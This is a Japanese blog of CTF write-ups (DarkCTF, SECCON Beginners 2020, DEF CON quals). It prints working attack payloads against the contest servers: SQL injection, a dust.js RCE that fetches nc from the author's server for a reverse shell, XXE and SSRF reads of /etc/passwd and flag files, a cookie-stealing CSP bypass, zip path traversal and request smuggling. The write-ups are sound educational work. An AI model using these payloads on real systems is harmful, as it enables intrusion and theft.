こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

DarkCTF Writeup

仕事や資格試験や夜泣き対応でCTFどころではない状態であったが、それらが同時に落ち着いてきたので久しぶりのCTF。 本ブログにも「この広告は、90日以上更新していないブログに表示しています。」と表示されており、少しあせらされた。

今週末は多数のCTFが開催されていたが、チームメンバーが既に解き始めていたことと、20位まで商品が出ることから、DarkCTFに注力した。 結果は16位で、Digital Oceanの$100 cloud creditsを頂けるようだ。

自分が解いた問題から、いくつかWriteupを書く。

Agent-U

HTMLソース内のコメントにadmin/adminでログインするよう指示がある。ログインすると自分のUserAgentが表示される。

UserAgentに'を入力するとMySQLのエラーメッセージが表示されるため、SQL Injectionができそう。 ただ、Insert文を実行しているようで、単純な方法では情報が抜き出せない。

以下を参考にして試す。
https://www.exploit-db.com/docs/33253

# curl http://agent.darkarmy.xyz/ -d "uname=admin&passwd=admin&submit=Submit" -A "' or updatexml(1,concat(0x7e,(version())),0) or '"
<!DOCTYPE html>
<html>
<head>
<title>Agent U</title>
</head>

<body>

<center><font color=red><h1>Welcome Players To MY Safe House</h1></font></center> <br><br><br>

<form action="" name="form1" method="post">
<center>
<font color=yellow> Username : </font><input type="text"  name="uname" value=""/>  <br> <br>

<font color=yellow> Password : </font> <input type="text" name="passwd" value=""/></br> <br>
<input type="submit" name="submit" value="Submit" />
</center></form>
<font size="3" color="#FFFF00">

        <br><!-- TRY DEFAULT LOGIN admin:admin --> <br>




<br>Your IP ADDRESS is: 162.158.119.79<br><font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: ' or updatexml(1,concat(0x7e,(version())),0) or '</font><br>XPATH syntax error: '~5.7.31'<br><br><img src="vibes.png"  /><br>

</font>
</div>
</body>
</html>

XPATH syntax error: '~5.7.31'というように、version()の実行結果が返ってきた。

ここからDB内のテーブルを見ていたがフラグが見つからない。 問題文を見なおすと、flag format darkCTF{databasename}と記載があった。アッ,ハイ...

# curl http://agent.darkarmy.xyz/ -d "uname=admin&passwd=admin&submit=Submit" -A "' or updatexml(1,concat(0x7e,databasename()),0) or '"
(snip)
<br>Your IP ADDRESS is: 162.158.118.44<br><font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: ' or updatexml(1,concat(0x7e,databasename()),0) or '</font><br>FUNCTION ag3nt_u_1s_v3ry_t3l3nt3d.databasename does not exist<br><br><img src="vibes.png"  /><br>

</font>
</div>
</body>
</html>

フラグ文字列はdarkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}でした。

Dusty Notes

ノートの追加と削除ができるサービス。 パラメータを変更しながら調査していると、特定の制御文字で例外が発生。

# rm /tmp/cookie;curl http://dusty.darkarmy.xyz/addNotes -c /tmp/cookie -b /tmp/cookie -L -G -H "Cookie:note=j:[]" -d "message=%0d"
{"stack":"SyntaxError: Invalid or unexpected token\n    at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n    at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n    at body_1 (evalmachine.<anonymous>:1:972)\n    at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n    at body_0 (evalmachine.<anonymous>:1:847)\n    at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n    at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Invalid or unexpected token"}r

最初のrmコマンドと、curlの-c、-b、-Lオプションは、Cookieを維持してリダイレクトさせないといけないための措置。

スタックトレースより、dust.jsを使用していることがわかる。問題タイトルも示唆していた。

既知の脆弱性が無いか調査すると以下の記事がHIT。
artsploit.blogspot.com

  • 配列形式のパラメータにエスケープ処理が適用されないこと
  • ifヘルパーを使用するとevalにそのままパラメータが渡されること

これら2つの問題の組合せで発生したRCEのようだ。 スタックトレースを見ると、Object.ifと出ており後者の条件に合致している可能性がありそうだ。

上記の記事を見ながら、以下のコマンドで自分のサーバにHTTPリクエストを発行させてみる。

# rm /tmp/cookie;curl http://dusty.darkarmy.xyz/addNotes -c /tmp/cookie -b /tmp/cookie -L -G -H "Cookie:note=j:[]" --data-urlencode "message[]='-require('child_process').exec('curl myserver')-'"

アクセスが来たので、RCEが成功したことがわかる。

34.89.46.46 - - [26/Sep/2020:20:21:27 +0000] "GET / HTTP/1.1" 200 225 "-" "curl/7.64.0"

フラグだけ取得してもよいが、せっかくなのでリバースシェルを取る。
ncコマンドをダウンロードさせて、実行権限をつけさせて、自サーバに接続させる。

# rm /tmp/cookie;curl http://dusty.darkarmy.xyz/addNotes -c /tmp/cookie -b /tmp/cookie -L -G -H "Cookie:note=j:[]" --data-urlencode "message[]='-require('child_process').exec('curl myserver/nc -o /tmp/nc')-'"
# rm /tmp/cookie;curl http://dusty.darkarmy.xyz/addNotes -c /tmp/cookie -b /tmp/cookie -L -G -H "Cookie:note=j:[]" --data-urlencode "message[]='-require('child_process').exec('chmod 777 /tmp/nc')-'"
# rm /tmp/cookie;curl http://dusty.darkarmy.xyz/addNotes -c /tmp/cookie -b /tmp/cookie -L -G -H "Cookie:note=j:[]" --data-urlencode "message[]='-require('child_process').exec('/tmp/nc myserver 4444 -e /bin/bash')-'"
root@ip-172-31-6-71:/var/www/html# nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 34.89.46.46 43638 received!
ls
app.js
node_modules
package-lock.json
package.json
public
views
whoami
root
ls -la /
total 76
drwxr-xr-x   1 root root 4096 Sep 26 03:29 .
drwxr-xr-x   1 root root 4096 Sep 26 03:29 ..
-rwxr-xr-x   1 root root    0 Sep 26 03:29 .dockerenv
drwxr-xr-x   2 root root 4096 Sep  8 07:00 bin
drwxr-xr-x   2 root root 4096 Jul 10 21:04 boot
drwxr-xr-x   5 root root  340 Sep 26 03:29 dev
drwxr-xr-x   1 root root 4096 Sep 26 03:29 etc
-rwxr-----   1 root root   38 Sep 26 03:29 flag.txt
drwxr-xr-x   1 root root 4096 Sep 26 03:29 home
drwxr-xr-x   1 root root 4096 Sep 16 15:24 lib
drwxr-xr-x   2 root root 4096 Sep  8 07:00 lib64
drwxr-xr-x   2 root root 4096 Sep  8 07:00 media
drwxr-xr-x   2 root root 4096 Sep  8 07:00 mnt
drwxr-xr-x   1 root root 4096 Sep 16 15:24 opt
dr-xr-xr-x 147 root root    0 Sep 26 03:29 proc
drwx------   1 root root 4096 Sep 26 08:19 root
drwxr-xr-x   3 root root 4096 Sep  8 07:00 run
drwxr-xr-x   2 root root 4096 Sep  8 07:00 sbin
drwxr-xr-x   2 root root 4096 Sep  8 07:00 srv
dr-xr-xr-x  13 root root    0 Sep 26 03:29 sys
drwxrwxrwt   1 root root 4096 Sep 26 20:28 tmp
drwxr-xr-x   1 root root 4096 Sep  8 07:00 usr
drwxr-xr-x   1 root root 4096 Sep  8 07:00 var
cat /flag.txt
darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}

フラグゲット。
darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}

Chain Race

入力したURLにリクエストを発行してレスポンスを表示するサービス。

URLにfile:///etc/passwdを入力すると以下が返却された。

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
localhost8080:x:5:60:darksecret-hiddenhere:/usr/games/another-server:/usr/sbin/nologin

最後の1行のユーザ名にしたがってhttp://localhost:8080/を入力すると以下が返却された。

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br />session_start</span><span style="color: #007700">();<br />include&nbsp;</span><span style="color: #DD0000">'flag.php'</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">$login_1&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">$login_2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /><br />if(!(isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'user'</span><span style="color: #007700">])&nbsp;&amp;&amp;&nbsp;isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'secret'</span><span style="color: #007700">]))){<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #DD0000">"index.php"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;die();<br />}<br /><br /></span><span style="color: #0000BB">$login_1&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">strcmp</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'user'</span><span style="color: #007700">],&nbsp;</span><span style="color: #DD0000">"admin"</span><span style="color: #007700">)&nbsp;?&nbsp;</span><span style="color: #0000BB">1&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">$temp_name&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">sha1</span><span style="color: #007700">(</span><span style="color: #0000BB">md5</span><span style="color: #007700">(</span><span style="color: #0000BB">date</span><span style="color: #007700">(</span><span style="color: #DD0000">"ms"</span><span style="color: #007700">).@</span><span style="color: #0000BB">$_COOKIE</span><span style="color: #007700">[</span><span style="color: #DD0000">'PHPSESSID'</span><span style="color: #007700">]));<br /></span><span style="color: #0000BB">session_destroy</span><span style="color: #007700">();<br />if&nbsp;((</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'secret'</span><span style="color: #007700">]&nbsp;==&nbsp;</span><span style="color: #DD0000">"0x1337"</span><span style="color: #007700">)&nbsp;||&nbsp;</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'user'</span><span style="color: #007700">]&nbsp;==&nbsp;</span><span style="color: #DD0000">"admin"</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;die(</span><span style="color: #DD0000">"nope"</span><span style="color: #007700">);<br />}<br /><br />if&nbsp;(</span><span style="color: #0000BB">strcasecmp</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'secret'</span><span style="color: #007700">],&nbsp;</span><span style="color: #DD0000">"0x1337"</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$login_2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />}<br /><br /></span><span style="color: #0000BB">file_put_contents</span><span style="color: #007700">(</span><span style="color: #0000BB">$temp_name</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"your_fake_flag"</span><span style="color: #007700">);<br /><br />if&nbsp;(</span><span style="color: #0000BB">$login_1&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;</span><span style="color: #0000BB">$login_2</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;if(@</span><span style="color: #0000BB">unlink</span><span style="color: #007700">(</span><span style="color: #0000BB">$temp_name</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die(</span><span style="color: #DD0000">"Nope"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br />echo&nbsp;</span><span style="color: #0000BB">$flag</span><span style="color: #007700">;<br />}<br />die(</span><span style="color: #DD0000">"Nope"</span><span style="color: #007700">);<br /></span>
</span>
</code>

phpのhighlight_fileの出力結果のようなので、HTML形式で保存してからブラウザで開く。

<?php
session_start();
include 'flag.php';

$login_1 = 0;
$login_2 = 0;

if(!(isset($_GET['user']) && isset($_GET['secret']))){
    highlight_file("index.php");
    die();
}

$login_1 = strcmp($_GET['user'], "admin") ? 1 : 0;

$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));
session_destroy();
if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") {
    die("nope");
}

if (strcasecmp($_GET['secret'], "0x1337") == 0){
    $login_2 = 1;
}

file_put_contents($temp_name, "your_fake_flag");

if ($login_1 && $login_2) {
    if(@unlink($temp_name)) {
        die("Nope");
    } 
echo $flag;
}
die("Nope");

条件を満たすuserとsecretのパラメータをセットすればよさそうだが、

if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") {
    die("nope");
}

のチェックが邪魔をしており、完全一致だとここで弾かれる。

strcmp関数とstrcasecmp関数の仕様を確認すると、ただ、各パラメータの条件の判定方法に穴があることがわかる。 結果的に、以下のパラメータで条件を満たしつつ、チェックを迂回できる。
http://localhost:8080/?user=admin1&secret=0X1337

もう1つ条件があり、sha1(md5(date("ms").@$_COOKIE['PHPSESSID']))のファイル名の作成と削除をしているが、フラグ文字列を出力するには削除に失敗させる必要がある。

一見、date("ms")はミリ秒のように見えるが、実はである。 $_COOKIE['PHPSESSID']はランダムなセッションIDが入ってくるように見えるが、そもそもCookieをセットしていなければ空である。

よって、同時に複数リクエストを発行すればファイル名が同一になり、先行したリクエストが先にファイルを削除して、後続のリクエストのファイル削除処理が失敗する可能性がある。

3つほどターミナルを開いて、以下のコマンドを実行。

# for i in $(seq 1 100);do curl http://race.darkarmy.xyz:8999/testhook.php --data-urlencode "handler=http://localhost:8080/?user=admin1&secret=0X1337"; done

しばらく待つとターミナルの1つで以下の表示。

NopeNopeNopedarkCTF{9h9_15_50_a3fu1}NopeNopeNopeNopeNopeNopeNopeNopeNopeNopeNopeNopeNopeNopeNope

フラグゲット
CTF{9h9_15_50_a3fu1}

File Reader

ファイルをアップロードするサービス。
適当なファイルをアップロードすると、pdfかdocxにしか対応していないと怒られる。

問題文がMy friend developed this website but he says user should know some Xtreme Manipulative Language to understand this web.とのことで、XXEを疑う。

docxをアップロードするとページ数が画面に表示された。 docxをzipとして展開してpagegrepすると、ページ数の定義はapp.xmlでしていることがわかる。

おそらくapp.xmlを読み込んでいると想定し、app.xmlを改ざんする。

  • <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///flag.txt" >]>を追加
  • pageタグの値を&xxe;に変更

zipで固め直してアップロードするとフラグが表示された。
f:id:graneed:20200927131919p:plain

フラグゲット
darkCTF{1nj3ct1ng_d0cx_f0r_xx3}

SECCON Beginners CTF 2020 Writeup

noranecoチームは未参加のため、いつもと違うチームで参加。
Web問を中心に解いた。

色々な方がwriteupを書いてくれると思うので簡易的なwriteupにとどめる。

Web

Spy

DBに存在するユーザを特定すれば勝ち。

ソースコードを読むと、nameを条件にDBからユーザを検索して、存在しない場合は終了し、存在する場合は後続でパスワードのハッシュを計算する処理がある。よって、ユーザの存在有無でレスポンス時間に差異が生まれる。ご丁寧にも、処理時間をレスポンスに含めてくれている。

$ for u in `cat employees.txt`; do echo $u ;curl https://spy.quals.beginners.seccon.jp/ -d "name=$u&password=hoge" -s | grep "It took"; done 
Arthur
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002787 sec to load this page.</p>
Barbara
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003148 sec to load this page.</p>
Christine
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003008 sec to load this page.</p>
David
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003564 sec to load this page.</p>
Elbert
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.3527238 sec to load this page.</p>
Franklin
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002318 sec to load this page.</p>
George
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.4679147 sec to load this page.</p>
Harris
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003867 sec to load this page.</p>
Ivan
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003446 sec to load this page.</p>
Jane
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002919 sec to load this page.</p>
Kevin
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0006480 sec to load this page.</p>
Lazarus
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.4976170 sec to load this page.</p>
Marc
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.3256018 sec to load this page.</p>
Nathan
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002081 sec to load this page.</p>
Oliver
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002898 sec to load this page.</p>
Paul
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003184 sec to load this page.</p>
Quentin
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003119 sec to load this page.</p>
Randolph
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002607 sec to load this page.</p>
Scott
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003556 sec to load this page.</p>
Tony
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.3267539 sec to load this page.</p>
Ulysses
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002503 sec to load this page.</p>
Vincent
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003067 sec to load this page.</p>
Wat
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002440 sec to load this page.</p>
Ximena
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.6319789 sec to load this page.</p>
Yvonne
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.5589504 sec to load this page.</p>
Zalmon
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002911 sec to load this page.</p>

処理時間の長いユーザを入力してフラグゲット。

Tweetstore

dbのcurrent_userを取得できれば勝ち。 SQLiの問題。

searchパラメータとlimitパラメータを入力可能。 searchパラメータは'記号がエスケープされてwhere句にセットされるが、limitパラメータはエスケープされずにlimit句へセットされる。 limit句にcurrent_userのASCIIコード値をセットして、返ってくる件数を観察することで1文字ずつ特定可能。

import requests

URL = "https://tweetstore.quals.beginners.seccon.jp/"

flag = ""

for i in range(50):
    r = requests.get(
        URL,
        params = {
            "search":"",
            "limit":"ascii(substr(current_user,{},1))-48".format(len(flag)+1)
        },
    )
    count = r.text.count("Watch@Twitter")
    flag += chr(count + 48)
    print(flag)
$ python solve.py
c
ct
ctf
ctf4
ctf4b
(snip)
ctf4b{is_postgres_your_friend?}

unzip

ディレクトリトラバーサルするzipファイルを作るだけ。

$ wget https://raw.githubusercontent.com/ptoomey3/evilarc/master/evilarc.py
$ touch flag.txt
$ python evilarc.py -d 3 -o unix flag.txt
$ unzip -l evil.zip
Archive:  evil.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2020-05-23 17:32   ../../../flag.txt
---------                     -------
        0                     1 file

アップロードしてアクセスするとフラグゲット

ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}

profiler

graphql injectionの問題。

# curl https://profiler.quals.beginners.seccon.jp/api -H "content-type: application/json" -d '{"query":"query {__type (name: \"Query\") {name fields{name type{name kind ofType{name kind}}}}}"}' -s | jq
{
  "data": {
    "__type": {
      "fields": [
        {
          "name": "me",
          "type": {
            "kind": "NON_NULL",
            "name": null,
            "ofType": {
              "kind": "OBJECT",
              "name": "User"
            }
          }
        },
        {
          "name": "someone",
          "type": {
            "kind": "OBJECT",
            "name": "User",
            "ofType": null
          }
        },
        {
          "name": "flag",
          "type": {
            "kind": "NON_NULL",
            "name": null,
            "ofType": {
              "kind": "SCALAR",
              "name": "String"
            }
          }
        }
      ],
      "name": "Query"
    }
  }

someoneクエリがある。 adminの情報を取得してみる。

# curl https://profiler.quals.beginners.seccon.jp/api -H "content-type: application/json" -d '{"query":"query {someone(uid: \"admin\") {uid,token}}"}' -s | jq
{
  "data": {
    "someone": {
      "token": "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b",
      "uid": "admin"
    }
  }
}

以下を参考にスキーマを取得。

PayloadsAllTheThings/GraphQL Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub

f:id:graneed:20200524140219p:plain

updateTokenが存在。自分のTokenをadminのtokenに変更する。 f:id:graneed:20200524135756p:plain

その後、FLAGの画面からフラグゲット。

f:id:graneed:20200524140442p:plain

Somen

まず、security.jsのロードをbaseタグで妨害。

CSPにstrict-dynamicが設定されていると、nonceが適切に設定されたscriptタグ内からロードされるスクリプトの実行は許可されるため、idがmessageのscriptタグを作って差し込んでもらう。

location.href="http://requestbin.net/r/1jban181?"+document.cookie; //</title><base href="http://example.com/"><script id="message"></script>

f:id:graneed:20200524140759p:plain

Crypt

R&B

先頭1文字削りながらBASE64とROT13を繰り返すだけ。

Reversing

ghost

$ echo ctf4b{AAAA} | gs -c "/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit"
GPL Ghostscript 9.52 (2020-03-19)
Copyright (C) 2020 Artifex Software, Inc.  All rights reserved.
This software is supplied under the GNU AGPLv3 and comes with NO WARRANTY:
see the file COPYING for details.
3417 61039 39615 14756 10315 49836 8453 13295 12034 59378 12638 

最初のctf4b{の部分が、与えられたoutput.txtの最初と一致することがわかったので、あとは1文字ずつつ探していく。

import subprocess
import string
correct = open("output.txt").read()
flag = "ctf4b{"
while True:
    found = False
    for c in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&()*+,-./:;<=>?@[]^_`{|}~ ':
        cmd1 = "echo '{}'".format(flag + c)
        cmd2 = "| gs -c '/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit'"
        cmd = cmd1 + cmd2
        result = subprocess.check_output(cmd, shell=True).decode("utf-8").split("\n")[4]
        #print(correct)
        #print(result)
        if result in correct:
            flag = flag + c
            print(flag)
            found = True
            break
    if found:
        continue
    else:
        print(flag)
        exit(0)
$ python3 solve.py 
ctf4b{s
(snip)
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}

Reversingを一切しておらず、出題者に申し訳ない気持ちしかない。

Misc

readme

/proc/self/environを確認すると、/home/ctf/serverで実行されていることがわかる。
よって、/proc/self/cwdから親ディレクトリを辿ればよい。

$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cwd/../flag
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}

DEF CON CTF Qualifier 2020 Writeup - uploooadit

Question

https://uploooadit.oooverflow.io/

Files:
app.py 358c19d6478e1f66a25161933566d7111dd293f02d9916a89c56e09268c2b54c
store.py dd5cee877ee73966c53f0577dc85be1705f2a13f12eb58a56a500f1da9dc49c0

ソースコードは以下のとおり。

app.py

import os
import re

from flask import Flask, abort, request

import store

GUID_RE = re.compile(
    r"\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\Z"
)

app = Flask(__name__)
app.config["MAX_CONTENT_LENGTH"] = 512
filestore = store.S3Store()

# Uncomment the following line for simpler local testing of this service
# filestore = store.LocalStore()


@app.route("/files/", methods=["POST"])
def add_file():
    if request.headers.get("Content-Type") != "text/plain":
        abort(422)

    guid = request.headers.get("X-guid", "")
    if not GUID_RE.match(guid):
        abort(422)

    filestore.save(guid, request.data)
    return "", 201


@app.route("/files/<guid>", methods=["GET"])
def get_file(guid):
    if not GUID_RE.match(guid):
        abort(422)

    try:
        return filestore.read(guid), {"Content-Type": "text/plain"}
    except store.NotFound:
        abort(404)


@app.route("/", methods=["GET"])
def root():
    return "", 204

store.py

"""Provides two instances of a filestore.

There is not intended to be any vulnerability contained within this code. This file is provided to
make it easier to test locally without needing access to an S3 bucket.

-OOO

"""
import os

import boto3
import botocore


class NotFound(Exception):
    pass


class LocalStore:
    def __init__(self):
        import tempfile
        self.upload_directory = tempfile.mkdtemp()

    def read(self, key):
        filepath = os.path.join(self.upload_directory, key)

        try:
            with open(filepath, "rb") as fp:
                return fp.read()
        except FileNotFoundError:
            raise NotFound

    def save(self, key, data):
        with open(os.path.join(self.upload_directory, key), "wb") as fp:
            fp.write(data)


class S3Store:
    """Credentials grant access only to resource s3://BUCKET/* and only for:

    * GetObject
    * PutObject

    """

    def __init__(self):
        self.bucket = os.environ["BUCKET"]
        self.s3 = boto3.client("s3")

    def read(self, key):
        try:
            response = self.s3.get_object(Bucket=self.bucket, Key=key)
        except botocore.exceptions.ClientError as exception:
            if exception.response["HTTPStatusCode"] == 403:
                raise NotFound
            # No other exceptions encountered during testing
        return response["Body"].read()

    def save(self, key, data):
        self.s3.put_object(
            Body=data, Bucket=self.bucket, ContentType="text/plain", Key=key
        )

Solution

ソースコードを読むと、以下の機能を持つことがわかる。

  • /files/X-guidヘッダーを付けてPOSTすると、HTTPリクエストボディの内容をAWSのS3に保存
  • /files/<GUID>にGETすると、保存したデータを取得
  • デバッグ/開発者用にS3でなくローカルファイルで動作可能な機能もある

まずは適当なGUIDをセットしてPOSTしてみる。

$ curl https://uploooadit.oooverflow.io/files/ -H "Content-Type: text/plain" -H "X-guid: 14371510-af00-1211-3333-afed3109dade" -d "aaaaaaaa" -v
*   Trying 3.135.56.183:443...
* TCP_NODELAY set
* Connected to uploooadit.oooverflow.io (3.135.56.183) port 443 (#0)
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/certs/ca-certificates.crt
  CApath: none
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=*.oooverflow.io
*  start date: May  9 00:00:00 2020 GMT
*  expire date: Jun  9 12:00:00 2021 GMT
*  subjectAltName: host "uploooadit.oooverflow.io" matched cert's "*.oooverflow.io"
*  issuer: C=US; O=Amazon; OU=Server CA 1B; CN=Amazon
*  SSL certificate verify ok.
> POST /files/ HTTP/1.1
> Host: uploooadit.oooverflow.io
> User-Agent: curl/7.69.0-DEV
> Accept: */*
> Content-Type: text/plain
> X-guid: 14371510-af00-1211-3333-afed3109dade
> Content-Length: 8
> 
* upload completely sent off: 8 out of 8 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 201 CREATED
< Server: gunicorn/20.0.0
< Date: Sat, 16 May 2020 02:09:41 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 0
< Via: haproxy
< X-Served-By: ip-10-0-0-112.us-east-2.compute.internal
< 
* Connection #0 to host uploooadit.oooverflow.io left intact

gunicornのバージョンが得られた。 また、haproxyが間にいることがわかる。

gunicornの更新履歴を確認する。
docs.gunicorn.org

fixed chunked encoding support to prevent any request smuggling

これがあやしい。以下の攻撃手法を使うと推測。
portswigger.net

この手法が使えれば、自分が決めたGUIDの領域に、他者のHTTPリクエストの内容を記録できそうだ。

Googleで専用のツールがあるか検索して、以下のリポジトリでsmuggler.pyというツールを発見する。
Transfer-EncodingとContent-Lengthに色々なパターンのデータをセットして、上記の脆弱性の有無を確認してくれる。
github.com

$ wget https://raw.githubusercontent.com/gwen001/pentest-tools/master/smuggler.py

$ python3 smuggler.py -u https://uploooadit.oooverflow.io/ -v 4

                                         _                             
         ___ _ __ ___  _   _  __ _  __ _| | ___ _ __       _ __  _   _ 
        / __| '_ ` _ \| | | |/ _` |/ _` | |/ _ \ '__|     | '_ \| | | |
